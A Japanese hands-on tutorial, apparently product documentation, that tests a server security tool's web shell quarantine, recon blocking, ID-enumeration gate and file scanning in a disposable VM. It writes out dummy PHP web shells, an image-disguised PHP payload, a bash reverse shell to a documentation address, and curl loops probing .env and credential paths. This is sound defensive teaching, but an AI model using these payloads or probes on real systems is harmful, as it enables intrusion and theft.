攻撃を知り、防ぐ

Web とメール

nginx の VM で、Web シェルの検知と隔離、アクセスログからの探る動きの遮断、番号をたどる問い合わせを止める Web ゲート、受け取り口のファイルの検査を、ダミーで動かして確かめます。

  • レベル: 基礎
  • 約45分
  • 2026-11-12

#Web サーバーへの攻撃の入口

公開している Web サーバーは、外から誰でも話しかけられる場所です。攻撃は、おもに次の 4 つの形で来ます。

攻撃の形起きること見張る機能
Web シェルを置く脆弱なアップロードなどから、コマンドを実行する PHP が公開フォルダーに書かれるWeb シェル・不正コードの検知
サイトを探る存在しないパスや .env などの秘密のファイルを、次々に問い合わせる総当たりと探索の検知(Web アクセスガード)
番号をたどる注文番号や受付番号を順に差し替えて、他人の情報を引き出す総当たりと探索の検知(Web アクセスガード)、Web ゲート
ファイルを紛れ込ませるメールの中継や共有フォルダーに、不正なファイルが置かれるファイルスキャンガード

この講座では、使い捨ての VM の中で nginx を立て、4 つの形をダミーで起こします。検知、隔離、遮断を実際に見てから、元に戻します。

練習は、使い捨ての環境で

この講座の操作は、Web サーバーの設定とファイアウォールの規則を変えます。Web シェルは、中身が 1 行のダミーです。PHP は入れないので、実行されることはありません。それでも、実機ではなく、VM で試してください。

#練習の場を用意する

nginx と、外の接続元を用意する

nginx を入れて、RoamSwitch のデーモンを再起動します(変更を伴う操作です)。デーモンは、起動したときに Web サーバーの設定を読み、公開フォルダー(ドキュメントルート)を見つけます。

sudo DEBIAN_FRONTEND=noninteractive apt-get install -y nginx >/dev/null 2>&1
systemctl is-active nginx
sudo systemctl restart roamswitch-server
sleep 30
sudo roamswitch web-rules status
実行結果
active
=====================================================
  🕸️ Webアプリ層ルールの状態
=====================================================

  ルールの版                  2026-11-11 (20 本)
  配信された版                 2026-11-11
  独自ルールの置き場              /etc/roamswitch/rules.d
  自動隔離のレベル               critical
  アカウント対処                オフ
  検知後フック                 有効(検証に合格)
                         /etc/roamswitch/hooks/post-detection
  無効化したアカウント             0
  1 個のドキュメントルートを見ています:
    - /var/www/html

nginx の設定から、/var/www/html が見つかりました。ルールは、roamswitch-updater が VM の起動のときに取り込んだ、配信の版(2026-11-11)です。検知後フックは、製品が既定で置くものです。検知の内容を /var/log/roamswitch/web-detections.jsonl に追記するだけで、外へは何も送りません。

次に、外の接続元を作ります。このホスト自身のアドレスと私的アドレスは、遮断の対象から外れています。そこで、ネットワーク名前空間 outside に、文書用のアドレス 203.0.113.10 と 203.0.113.11 を持たせます。VM の側は 203.0.113.1 です。

sudo ip netns add outside
sudo ip link add veth-host type veth peer name veth-out
sudo ip link set veth-out netns outside
sudo ip addr add 203.0.113.1/24 dev veth-host
sudo ip link set veth-host up
sudo ip netns exec outside ip addr add 203.0.113.10/24 dev veth-out
sudo ip netns exec outside ip addr add 203.0.113.11/24 dev veth-out
sudo ip netns exec outside ip link set veth-out up
sudo ip netns exec outside curl -s -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
実行結果
200

この通信は、VM の中だけで閉じています。元に戻すには、sudo ip netns del outside を実行します。

#置かれた Web シェルを見つける

Web シェル・不正コードの検知 は、PHP・JavaScript・JSP・ASP のファイルを、20 本の組み込みのルールで調べます。ルールは、公開されている手口の形を表したもので、正規表現は使いません。見つけ方は 2 つあります。手で実行する roamswitch web-scan と、公開フォルダーへの書き込みを見張るデーモンです。

手でスキャンして、隔離する

ダミーのサイトを作ります。shell.php はリクエストの値をそのまま system に渡す 1 行、avatar.jpg は画像の印のあとに PHP を書いたものです。

mkdir -p ~/lab-site/uploads && cd ~/lab-site
printf '<?php echo "Hello"; ?>\n' > index.php
printf '<?php system($_GET["c"]); ?>\n' > shell.php
printf 'GIF89a<?php eval(base64_decode($_POST["x"])); ?>\n' > uploads/avatar.jpg
roamswitch web-scan ~/lab-site; echo "終了コード: $?"
実行結果
=====================================================
  🕸️ Webアプリ層ルールのスキャン
=====================================================

  ルール 2026-11-11 (20 本)   対象 3 ファイル(Web関連のみ)

  [CRITICAL] /home/admin/lab-site/shell.php
      php-request-exec (WebShell-PHP)
      PHPがリクエストの値(POST/GET/REQUEST/COOKIE)をそのままeval・system・execなどへ渡しています。一行Webシェルの典型的な形です。
      → 確認のみ(--quarantine を付けるまで何も動かしません)

  [HIGH] /home/admin/lab-site/uploads/avatar.jpg
      image-php-polyglot (Web-Polyglot-Image)
      画像ファイルの中にPHPの開始タグと、実行系・デコード系のコードが入っています。画像に偽装した不正コードです。
      → 確認のみ(--quarantine を付けるまで何も動かしません)

  重大・高: 2   隔離: 0

終了コード: 2

既定は確認だけで、ファイルには触れません。終了コードは、該当なしが 0、重大・高の該当ありが 2 です。ネットワークにはつなぎません。

--quarantine を付けると、隔離庫へ移します(root。変更を伴う操作です)。

sudo roamswitch web-scan ~/lab-site --quarantine
ls -R ~/lab-site
sudo roamswitch quarantine list
実行結果
  [CRITICAL] /home/admin/lab-site/shell.php
      php-request-exec (WebShell-PHP)
      PHPがリクエストの値(POST/GET/REQUEST/COOKIE)をそのままeval・system・execなどへ渡しています。一行Webシェルの典型的な形です。
      → 隔離しました

  [HIGH] /home/admin/lab-site/uploads/avatar.jpg
      image-php-polyglot (Web-Polyglot-Image)
      画像ファイルの中にPHPの開始タグと、実行系・デコード系のコードが入っています。画像に偽装した不正コードです。
      → そのまま残しました(設定の隔離レベル未満)

  重大・高: 2   隔離: 1

/home/admin/lab-site:
index.php
uploads

/home/admin/lab-site/uploads:
avatar.jpg
=====================================================
  🦠 マルウェア隔離Vault状態
=====================================================

  隔離Vault場所: /var/lib/roamswitch/quarantine
  隔離ファイル数: 1 件

  • [quar-20261112_013444-9e98cbea] shell.php (WebShell-PHP: php-request-exec) - 29 bytes
    元パス: /home/admin/lab-site/shell.php

(出力の抜粋。スキャンの見出しは省きました)隔離したのは critical の shell.php だけです。high の avatar.jpg は残りました。自動で隔離する水準は、/etc/roamswitch/web_rules.conf の quarantine(off・critical・high、既定 critical)で決まります。運用中のサイトのファイルが、誤検知で消えないようにするためです。

誤検知だったときは、sudo roamswitch quarantine restore <ID> で元の場所に戻せます。上の ID で試すと「✓ quar-20261112_013444-9e98cbea を復元しました(実行ビットは付けていません)。」と出て、shell.php が戻りました。同じ名前のファイルがあると、上書きしません。隔離庫のファイルは root だけが読め、元の場所は /var/lib/roamswitch/quarantine/metadata.json の originalPath にも残っています。

練習の片付けは、rm -rf ~/lab-site です。

公開フォルダーへの書き込みを見張る

デーモンは、公開フォルダーに書き込まれたファイルを、すぐに調べます。/var/www/html にダミーの Web シェルを書き、3 秒後に見ます。

printf '<?php system($_GET["c"]); ?>\n' | sudo tee /var/www/html/info.php >/dev/null
sleep 3
ls /var/www/html
sudo roamswitch notifications | sed -n 4,14p
実行結果
index.nginx-debian.html

  2026-11-12T01:34:56.616480943+00:00
  Webシェル検知: 1 件のファイルに該当
    🚨 Webアプリ層の検知ルールが、Webシェルや注入された不正コードを検知しました
    ホスト: ubuntu (IP: 192.168.64.14)
    該当ファイル: 1 件(隔離: 1 件、そのまま残したもの: 0 件)
    /var/www/html/info.php (php-request-exec, quarantined, owner root)
    推奨対応: 該当ファイルの内容と、書き込まれた時刻の前後のアクセスログを確認し、そのサイトの認証情報(管理画面・FTP・DB)を変更してください。隔離したファイルは `/var/lib/roamswitch/quarantine/metadata.json` で確認できます。
    時刻: 2026-11-12 01:34:56
    プロセス: root / /usr/bin/tee / コマンド: tee /var/www/html/info.php (pid 1984)
    親プロセス: sudo ← dash ← tart-guest-agent ← systemd / サービス: tart-guest-agent.service

書いてから 3 秒後には、info.php はもう隔離庫に移っていました。手で何かを実行する必要はありません。最後の 2 行は、書いたプロセスとその親です。

アップロードの処理は、一時フォルダーに受けたファイルを mv で公開フォルダーへ移すことがよくあります。移動で置かれたファイルも、その場で調べます。

printf '<?php system($_GET["c"]); ?>\n' > /tmp/up.tmp
sudo mv /tmp/up.tmp /var/www/html/up.php
sleep 3
ls /var/www/html
sudo roamswitch notifications | sed -n 10,14p
実行結果
index.nginx-debian.html
    /var/www/html/up.php (php-request-exec, quarantined, owner admin)
    推奨対応: 該当ファイルの内容と、書き込まれた時刻の前後のアクセスログを確認し、そのサイトの認証情報(管理画面・FTP・DB)を変更してください。隔離したファイルは `/var/lib/roamswitch/quarantine/metadata.json` で確認できます。
    時刻: 2026-11-12 01:34:59
    プロセス: root / /usr/bin/mv / コマンド: mv /tmp/up.tmp /var/www/html/up.php (pid 2021) ※プロセスは既に終了していたため、実行の記録(2026-11-12 01:34:59)から補いました。
    親プロセス: sudo ← dash ← tart-guest-agent ← systemd / サービス: tart-guest-agent.service

up.php も、移した直後に隔離されました。owner admin は、/tmp で作ったときの持ち主がそのまま残ったものです。mv はすぐ終わるので、プロセスの行は、実行の記録から補った旨つきで出ました。

次は、Web シェルを置いたアカウントへの対処です。Web シェルは、ログインではなく、Web アプリのプロセスの中で動きます。そこで account_action=lock にすると、ログインシェルを止めるのに加えて、そのアカウントの外向きの通信を止めます。サイトの持ち主のアカウント siteuser を作って試します(変更を伴う操作です)。web_rules.conf は、デーモンの起動時に読まれるので、再起動が要ります。

sudo useradd -m -s /bin/bash siteuser
sudo mkdir -p /var/www/html/site && sudo chown siteuser:siteuser /var/www/html/site
printf 'quarantine=critical\naccount_action=lock\n' | sudo tee /etc/roamswitch/web_rules.conf
sudo systemctl restart roamswitch-server
sleep 8
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'before: %{http_code}\n' https://lafine.net/updates/v1/manifest
printf '<?php system($_GET["c"]); ?>\n' | sudo -u siteuser tee /var/www/html/site/cmd.php >/dev/null
sleep 4
getent passwd siteuser
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'after: %{http_code}\n' https://lafine.net/updates/v1/manifest
sudo roamswitch web-rules locked
sudo nft list table inet roamswitch_web_account_block
実行結果
quarantine=critical
account_action=lock
before: 200
siteuser:x:1002:1002::/home/siteuser:/usr/sbin/nologin
after: 000
  siteuser (uid 1002)  元のシェル /bin/bash, 外向き通信を遮断  理由 php-request-exec  (2026-11-12T01:35:23.424104697+00:00)
table inet roamswitch_web_account_block {
	chain output {
		type filter hook output priority mangle - 10; policy accept;
		meta skuid 1002 oifname != "lo" counter packets 8 bytes 560 drop
	}
}

シェルは /usr/sbin/nologin になり、siteuser の外向きの通信は、ループバックを除いて落とされました。Web シェルが外へつなぎ直す道を断つためです。root、UID が account_min_uid(既定 1000)未満のアカウント、ログイン中のセッションを持つアカウントには、何もしません。

元に戻します。

sudo roamswitch web-rules unlock-account siteuser
getent passwd siteuser
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'unlocked: %{http_code}\n' https://lafine.net/updates/v1/manifest
実行結果
siteuser のログインシェルを /bin/bash に戻しました。
siteuser の外向き通信の遮断を解除しました。
siteuser:x:1002:1002::/home/siteuser:/bin/bash
unlocked: 200

設定も戻すときは、sudo rm /etc/roamswitch/web_rules.conf のあと sudo systemctl restart roamswitch-server を実行し、sudo userdel -r siteuser でアカウントを消します。

独自のルールを足す

自分のサイトに合わせたルールは、/etc/roamswitch/rules.d/*.json に置きます。root 所有で、ほかの人が書き込めないファイルだけが読まれます。置く前に roamswitch web-rules validate <ファイル> で、書き間違いと、置き換える既存のルールを確かめます。書き方の見本は roamswitch web-rules example rules で出ます。

#アクセスログから、探る動きを見つける

総当たりと探索の検知(Web アクセスガード) は、nginx のアクセスログを 1 秒に 4 回読みます。人は、リンクをたどってページを開きます。存在しないパスや、.env のような秘密のファイルを、次々に聞くことはありません。その違いを手がかりにします。

ログインのページ(/login、/wp-login.php など)への POST の繰り返しも、同じ仕組みで見ます(login、既定は通知だけ)。設定は /etc/roamswitch/web_guard.conf です。ファイルがないときの動作は mode=warn で、通知と記録だけをします。変更は、再起動しなくても 30 秒以内に効きます。

探る動きを起こし、遮断する

サイトの構造を調べる動きの通知は、既定では 1 日 1 回のまとめです。練習では、すぐに見られるように recon_notify=immediate にします(変更を伴う操作です)。203.0.113.10 から、存在しないパスを 15 個聞きます。

printf 'recon_notify=immediate\n' | sudo tee /etc/roamswitch/web_guard.conf
sleep 35
for p in admin backup old test dev staging api/v1 config upload private tmp install setup db logs; do
  sudo ip netns exec outside curl -s -o /dev/null -w '%{http_code} ' -A 'python-requests/2.31' http://203.0.113.1/$p
done; echo
sleep 3
sudo roamswitch notifications | grep -m1 -B8 -A4 'path_walk'
実行結果
recon_notify=immediate
404 404 404 404 404 404 404 404 404 404 404 404 404 404 404 

  2026-11-12T01:36:43.452707264+00:00
  Webサーバーに、サイトの構造を調べる動きがあります
    🚨 アクセスログに、サイトの構造を調べる動き(存在しないパスの列挙、静的ファイルの一括取得、API の探索、パラメータの総当たり)がありました
    ホスト: ubuntu (IP: 192.168.64.14)
    対象: (paths)
    理由: 存在しないパスを次々に問い合わせた
    該当した接続元: 1 件
    203.0.113.10 (path_walk, n=12)
    対応: 通知のみです(遮断していません)。
    推奨対応: 公開するつもりのないパスや、認証なしで答える API がないかを確認してください。検索エンジンや監視サービスの巡回でも同じ形になるので、心当たりのある接続元は、web_guard.conf の exempt_ua か exempt_path で除外できます。
    時刻: 2026-11-12 01:36:43

12 個目の 404 で path_walk になりました(path_walk_limit、既定 12)。ログのリクエストが 200 件を超え、遮断に向いた環境だと点検で分かったときは、「対応」の行に遮断のしかたが、続けて「点検の結果」の行が付きます。この練習の場は、まだリクエストが少ないので、どちらも出ていません。

次は遮断です。mode=block と recon=block の両方を書き、遮断の長さを 600 秒にします。203.0.113.11 から、秘密のファイルや管理画面のパスを聞きます。

printf 'mode=block\nrecon=block\nrecon_notify=immediate\nban_secs=600\n' | sudo tee /etc/roamswitch/web_guard.conf
sleep 35
for p in .env .git/config .aws/credentials actuator/env phpmyadmin/ wp-config.php.bak server-status .DS_Store; do
  sudo ip netns exec outside curl -s --interface 203.0.113.11 -m 3 -o /dev/null -w '%{http_code} ' http://203.0.113.1/$p
done; echo
sudo ip netns exec outside curl -s --interface 203.0.113.10 -m 3 -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
sudo nft list set inet roamswitch_webguard banned4
sudo roamswitch notifications | grep -m1 -B8 -A4 'probe_walk'
実行結果
mode=block
recon=block
recon_notify=immediate
ban_secs=600
404 404 404 404 404 404 404 404 
200
table inet roamswitch_webguard {
	set banned4 {
		type ipv4_addr
		flags timeout
		elements = { 203.0.113.11 timeout 10m expires 9m59s830ms }
	}
}

  2026-11-12T01:37:22.721836720+00:00
  Webサーバーに、サイトの構造を調べる動きがあります
    🚨 アクセスログに、サイトの構造を調べる動き(存在しないパスの列挙、静的ファイルの一括取得、API の探索、パラメータの総当たり)がありました
    ホスト: ubuntu (IP: 192.168.64.14)
    対象: (probe paths)
    理由: 秘密・設定ファイルや管理画面のパスを、何種類も次々に問い合わせた
    該当した接続元: 1 件
    203.0.113.11 (probe_walk, n=6) banned
    対応: 接続元を 600 秒のあいだ、80/443 への新しい接続から遮断しました(共有のアドレス、許可リスト、このホストの運用に必要なアドレスは除きます)
    推奨対応: 公開するつもりのないパスや、認証なしで答える API がないかを確認してください。検索エンジンや監視サービスの巡回でも同じ形になるので、心当たりのある接続元は、web_guard.conf の exempt_ua か exempt_path で除外できます。
    時刻: 2026-11-12 01:37:22

6 種類目で probe_walk になりました。8 件の問い合わせは 1 秒かからずに終わるので、どれも 404 を受け取り、遮断はその直後に入りました(banned4 の残りが 9 分 59 秒)。止められたのは 203.0.113.11 の 80/443 への新しい接続だけで、203.0.113.10 は今も 200 を受け取れます。遮断の一覧は、nft のセット banned4 で見ます。

遮断を外します。

sudo roamswitch unban 203.0.113.11
sudo ip netns exec outside curl -s --interface 203.0.113.11 -m 3 -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
実行結果
  ✓ Web アクセスガードの遮断を外しました: 203.0.113.11
200

unban は、SSH ガードと Web アクセスガードの両方の遮断を外します。どちらの遮断を外したかが、1 行で出ます。外したあとも、遮断された回数は残ります。外して約 2 秒たつと、同じ接続元が同じ探りをすれば、また遮断します。そのときは、前の 4 倍の長さになります。

遮断まで任せるか、通知だけにするか

遮断は、訪問者のアドレスが Web サーバーに見えているときだけ、正しく効きます。CDN やリバースプロキシの後ろでは、ログの接続元がプロキシのアドレスになります。私的アドレスは既定で遮断しない(ban_private=no)ので、何も止まりません。ban_private=yes にすると、プロキシごと止めてしまいます。

  • 訪問者のアドレスが見えている: mode=block と、必要な形(recon=block、login=block)を書きます
  • プロキシの後ろで、アドレスを復元していない: mode=warn のまま通知を使います。nginx の real_ip_header などで、アドレスを復元してから見直します
  • 判断がつかない: sudo roamswitch web-guard-check で点検します(何も変更しません。次の演習で使います)

#番号をたどる問い合わせを止める

注文番号や受付番号を URL に入れて、中身を返す API は多くあります。ログインの確認がないと、番号を 1 つずつ変えるだけで、他人の情報が引けます。最近の攻撃ツールは、多数の IP に分けて、1 つの IP からは少しずつ聞きます。

RoamSwitch は 2 段で守ります。アクセスログを読む 総当たりと探索の検知(Web アクセスガード) と、nginx の手前で問い合わせに答える Web ゲート です。ゲートは、nginx の auth_request から、Unix ソケットで問い合わせを受けます。ネットワークには出ません。

番号の API を作り、ゲートで守る

VM の中に、番号ごとに別の内容を返すダミーの API を立てます。python の http.server を使い、127.0.0.1:8080 で待ち受けます。1000〜1999 番に、ダミーの注文を返します。

/home/admin/orders.py
# 練習用のダミーの注文 API(127.0.0.1:8080)。番号ごとに別の内容を返す。
import http.server, re

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        m = re.fullmatch(r"/api/orders/(\d+)", self.path)
        if m and 1000 <= int(m.group(1)) <= 1999:
            body = f'{{"order": {m.group(1)}, "name": "dummy-{m.group(1)}"}}\n'.encode()
            self.send_response(200)
        else:
            body = b"not found\n"
            self.send_response(404)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

http.server.HTTPServer(("127.0.0.1", 8080), H).serve_forever()

nginx の server { } の中に location /api/orders/ { proxy_pass http://127.0.0.1:8080; } を足して、API を公開します。そのうえで、自分のサイトが番号ごとに中身を返すかを、Web ゲート の確認コマンドで調べます。ログインの情報を付けずに、1 秒に 1 件、最大 10 件だけ聞きます。

sudo systemd-run --unit=lab-orders python3 /home/admin/orders.py
sudo nginx -t && sudo nginx -s reload
sleep 1
roamswitch web-id-check 'http://127.0.0.1/api/orders/{n}' --start 1001 --count 3; echo "終了コード: $?"
実行結果
=====================================================
  🔎 認証なしの番号の確認
=====================================================

  ログインの情報を一切付けずに、連続する 3 件の番号を GET で問い合わせます(1 秒に 1 件)。
  1001: HTTP 200, 38 bytes
  1002: HTTP 200, 38 bytes
  1003: HTTP 200, 38 bytes
⚠️ ログインなしで、番号ごとに別の内容が返りました。他人の情報を引ける可能性があります。
  この場所に、利用者ごとの認可の確認(ログイン中の本人の番号だけを返す)を入れてください。番号を推測しにくいものにするだけでは、根本の対策になりません。
終了コード: 2

終了コード 2 は、他人の情報を引ける可能性があるという意味です。根本の対策はアプリケーションの側にあります。ゲートは、直すまでの間の守りです。

ゲートの nginx の設定は、web-gate-config が出します。何も変更しません。

roamswitch web-gate-config /api/orders/ --proxy http://127.0.0.1:8080
実行結果
upstream rs_gate { server unix:/run/roamswitch/webgate.sock; }

# inside the server { } block that serves the site:
location /api/orders/ {
    auth_request /_rs_gate;
    auth_request_set $rs_action $upstream_http_x_rs_action;
    error_page 403 = @rs_denied;
    proxy_pass http://127.0.0.1:8080;
}
location @rs_denied {
    if ($rs_action = throttle) { add_header Retry-After 60 always; return 429 "slow down\n"; }
    return 403 "forbidden\n";
}
location = /_rs_gate {
    internal;
    proxy_pass http://rs_gate/check;
    proxy_pass_request_body off;
    proxy_set_header Content-Length "";
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Original-URI $request_uri;
    proxy_set_header X-RS-UA $http_user_agent;
    proxy_connect_timeout 200ms;
    proxy_read_timeout 500ms;
    # if the gate is down or slow, let the request through: a gate failure must never take the site down
    error_page 502 503 504 = @rs_allow;
}
location @rs_allow { return 200; }

(出力の抜粋。先頭の説明のコメントは省きました)upstream の行を /etc/nginx/conf.d/rs-gate.conf に、location の 4 つを、先ほど足した location /api/orders/ と置き換えて書きます。ゲートを起動し、発行しない番号 1900〜1909 を「予約番号」(canary)として登録します(変更を伴う操作です)。

sudo systemctl enable --now roamswitch-webgate
sudo nginx -t && sudo nginx -s reload
printf 'mode=block\nrecon=block\nrecon_notify=immediate\nban_secs=600\ncanary=/api/orders/{n}=1900-1909\n' | sudo tee /etc/roamswitch/web_guard.conf
sudo systemctl restart roamswitch-webgate
sleep 35
O="sudo ip netns exec outside curl -s -m 3 --interface 203.0.113.10"
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1001
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1905
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1002
実行結果
{"order": 1001, "name": "dummy-1001"}
 200
forbidden
 403
forbidden
 403

(出力の抜粋)sleep 35 で、デーモンが web_guard.conf を読み直すのを待っています。予約番号の 1905 番は、ゲートが 1 回目で 403 にしました。アプリケーションには届いていません。続く 1002 番も、ゲートが 403 にしました。そのあと、アクセスログを読むガードが 203.0.113.10 を遮断しました(次の出力の banned4 に出ます)。

次は、1 つの接続元が多数の番号を聞く場合です。203.0.113.11 から 1001〜1025 番を順に聞きます。

for n in $(seq 1001 1025); do
  sudo ip netns exec outside curl -s -m 2 --interface 203.0.113.11 -o /dev/null -w "$n:%{http_code} " http://203.0.113.1/api/orders/$n
done; echo
sleep 2
sudo nft list set inet roamswitch_webguard banned4 | grep elements
実行結果
1001:200 1002:200 1003:200 1004:200 1005:200 1006:200 1007:200 1008:200 1009:200 1010:200 1011:200 1012:200 1013:200 1014:200 1015:200 1016:200 1017:200 1018:200 1019:200 1020:403 1021:403 1022:000 1023:000 1024:000 1025:000 
		elements = { 203.0.113.10 timeout 10m expires 9m47s512ms, 203.0.113.11 timeout 40m expires 39m49s605ms }

20 種類目と 21 種類目の番号で、ゲートが 403 を返しました(many_ids、distinct_limit の既定 20)。そのあとは遮断です。203.0.113.11 は 2 度目の遮断なので、600 秒の 4 倍の 40 分になりました。

ゲートが止まったときの動きも確かめます。遮断をすべて外し、さきほど予約番号で遮断された 203.0.113.10 から、もう一度 1905 番を聞きます。

sudo roamswitch unban --all
sleep 3
sudo systemctl stop roamswitch-webgate
sudo ip netns exec outside curl -s -m 3 --interface 203.0.113.10 -w ' %{http_code}\n' http://203.0.113.1/api/orders/1905
sudo systemctl start roamswitch-webgate
sleep 1
sudo nft list set inet roamswitch_webguard banned4 | grep elements
sudo roamswitch unban --all
実行結果
  ✓ Web アクセスガードの遮断を外しました: 203.0.113.10
  ✓ Web アクセスガードの遮断を外しました: 203.0.113.11
{"order": 1905, "name": "dummy-1905"}
 200
		elements = { 203.0.113.10 timeout 40m expires 39m58s974ms }
  ✓ Web アクセスガードの遮断を外しました: 203.0.113.10

ゲートが止まっていると、予約番号の問い合わせも通ります。そのあとで、アクセスログを読むガードが、この接続元をまた遮断しました。unban で外した接続元でも、同じ探りをすれば数え直します。2 度目なので、40 分です。最後の unban は、その分を外すためです。ゲートの不調でサイトを止めないための設計です。そのため、systemctl is-active roamswitch-webgate と /run/roamswitch/webgate.status で、動いているかを確かめます。

最後に、遮断してよい環境かを点検します。web-guard-check は、アクセスログと Web サーバーの設定を読み、遮断に向いた環境かを判定します。何も変更しません。判定には 200 件以上のリクエストが要るので、203.0.113.20〜29 の 10 個の接続元から、ブラウザの名前で 250 件の通常の訪問を流してから点検します。

printf 'recon_notify=immediate\n' | sudo tee /etc/roamswitch/web_guard.conf >/dev/null
sudo roamswitch unban --all >/dev/null
for i in $(seq 20 29); do sudo ip netns exec outside ip addr add 203.0.113.$i/24 dev veth-out; done
sleep 32
for r in $(seq 1 25); do for i in $(seq 20 29); do
  sudo ip netns exec outside curl -s -m 2 --interface 203.0.113.$i -o /dev/null -A 'Mozilla/5.0 (X11; Linux x86_64) Firefox/140.0' http://203.0.113.1/
done; done
sudo roamswitch web-guard-check; echo "終了コード: $?"
実行結果
=====================================================
  🛡 Web ガードの点検: 遮断してよい環境か
=====================================================

  読んだログ: 1 本(読めなかったもの: 0 本)。直近 24 時間の 304 件のリクエスト、接続元 13 個。

  リクエストの多い接続元
    203.0.113.11                                  30 ( 10%)  ブラウザ 0 種類
    203.0.113.20                                  25 (  8%)  ブラウザ 1 種類
    203.0.113.21                                  25 (  8%)  ブラウザ 1 種類
    203.0.113.22                                  25 (  8%)  ブラウザ 1 種類
    203.0.113.23                                  25 (  8%)  ブラウザ 1 種類

  プライベートのアドレスから: 1%(うち、複数のブラウザが見える側: 0%)/ 共有のアドレスから(ガードは遮断しない): 0%
  訪問者のアドレスを復元する設定: なし

  いまの設定: mode=warn, recon=warn

判定: 遮断に向いています。訪問者のアドレスを見分けられています。
  遮断するには、/etc/roamswitch/web_guard.conf に mode=block と recon=block を書きます(検索エンジンの巡回を除くなら exempt_ua=googlebot など。自分の接続元は whitelist_ips に入れておきます)。
終了コード: 0

最初の 2 行で、web_guard.conf を mode=warn(書かないときの既定)に戻し、遮断を外しています。訪問者のアドレスが見えているので「向いています」です。向いていないときは、終了コードが 1 になります。

元に戻します。

sudo rm /etc/roamswitch/web_guard.conf
sudo systemctl disable --now roamswitch-webgate
sudo rm /etc/nginx/conf.d/rs-gate.conf

nginx の location も元に戻し、sudo nginx -t && sudo nginx -s reload を実行します。sudo systemctl stop lab-orders で API も止めます。

nginx の設定を変えると、改ざんの通知も出る

この演習で nginx の設定を書き換えると、「クリティカルパス改ざん検知 (FIM)」の通知が出ました。/etc/nginx の変更も見張られているためです。自分で変えたものなら、sudo roamswitch fim update で基準を更新します。

#メールの中継や共有フォルダーを調べる

Web の公開フォルダーの外にも、外から届いたファイルが置かれる場所があります。メールの中継の受け取り口、共有フォルダー、アップロードの置き場です。ファイルスキャンガード は、server.conf の clamav_scan_dirs に書いたフォルダーを、組み込みの YARA のルールで定期的に調べます。clamav_enabled=true にすると、ClamAV の clamdscan でも調べます(既定はオフ)。

受け取り口に置かれたファイルを調べる

/srv/mailin を受け取り口に見立てて、調べる対象にします(変更を伴う操作です)。ダミーとして、広く知られたリバースシェルの 1 行を書いたテキストを置きます。実行はしません。宛先の 192.0.2.1 は文書用のアドレスです。

sudo mkdir -p /srv/mailin
printf 'hello\n' | sudo tee /srv/mailin/note.txt >/dev/null
printf '# 練習用のダミー。実行しない。\nbash -i >& /dev/tcp/192.0.2.1/4444 0>&1\n' | sudo tee /srv/mailin/run.sh >/dev/null
sudo roamswitch server config set clamav_scan_dirs /srv/mailin
sudo systemctl restart roamswitch-server
sleep 12
ls /srv/mailin
sudo roamswitch notifications | sed -n 4,11p
実行結果
  ✓ サーバー設定を更新・保存しました。 (clamav_scan_dirs = /srv/mailin)
  反映するには: sudo systemctl restart roamswitch-server または sudo roamswitch server restart

note.txt

  2026-11-12T01:40:10.720506280+00:00
  ファイルスキャンガード: 1 件のマルウェアを隔離
    ホスト: ubuntu (IP: 192.168.64.14)
    YARA検知: 1 件, ClamAV検知: 0 件
    隔離済みファイル(元の場所 → 隔離先):
    - /srv/mailin/run.sh → /var/lib/roamswitch/quarantine/20261112_014010_27f36a49_run.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload)
    推奨対応: `/var/lib/roamswitch/quarantine/metadata.json` を確認してください。

デーモンは、起動した直後に 1 回調べ、そのあとは clamav_scan_interval_secs(既定 86400 秒 = 24 時間、最小 3600 秒)ごとに調べます。run.sh は隔離され、note.txt は残りました。隔離済みの行に、元の場所、隔離先、当たったルールの名前が並びます。

元に戻します。

sudo roamswitch server config set clamav_scan_dirs ""
sudo systemctl restart roamswitch-server
sudo rm -rf /srv/mailin

#見えない部分

確かめたこと・見えないもの

使い捨ての Ubuntu 24.04 の VM で、nginx を使って確かめた範囲では、次のようになります。

  • Web のルールは、決まった語句の並びで探します。'ev'.'al' のように文字列を組み立てるコードは追えません。ルールにない新しい手口も見つけません
  • 探る動きの検知は、アクセスログだけが頼りです。ログに書かれない問い合わせや、ログを書かない Web サーバーは見えません。ゲートは、応答のコードと Referer を見ないので、探る動きは見ません
  • ゲートが止まると、すべて通します。サイトを止めない代わりに、守りも消えます。動いているかは、自分で確かめます
  • 1 つのアドレスから、ゆっくり時間をかけて聞く攻撃は止められません。根本の対策は、アプリケーションでの利用者ごとの認可の確認です
  • EICAR のテスト文字列は、試験用の印として扱い、ファイルスキャンガードは隔離しません(コードの注記)。演習で、別のダミーを使ったのはそのためです
  • web_rules.conf と server.conf の変更は、デーモンの再起動まで効きません。web_guard.conf は 30 秒以内に効きます
確認問題

Web ゲートを入れたあと、roamswitch-webgate が止まっていました。予約番号への問い合わせは、どうなりますか

解説を見る

演習では、ゲートを止めると、予約番号の 1905 番にも 200 が返りました。ゲートの不調でサイトを止めないための設計です。そのぶん、ゲートが動いているかを systemctl is-active roamswitch-webgate で確かめる必要があります。

確認問題

既定の設定で sudo roamswitch web-scan <フォルダー> --quarantine を実行しました。critical と high が 1 つずつ見つかりました。どうなりますか

解説を見る

自動で隔離する水準は web_rules.conf の quarantine で、既定は critical です。アカウントへの対処(account_action)は、既定ではオフです。

#次に学ぶこと

扱う機能

対応する攻撃手法 (ATT&CK): T1505.003

確認した内容

2026-11-12に確認しました。対象は Linux 1.17.39 です。公開版 1.17.39 の入った使い捨ての Ubuntu 24.04 の VM 2 台で、nginx とネットワーク名前空間の接続元を使い、全演習を日本語と英語(LANG=en_US.UTF-8、server.conf の language は既定)で上から実行して出力を取り直しました。

コマンドの出力は、製品の版や環境によって変わります。違いが出たら、まず製品の版を確かめてください。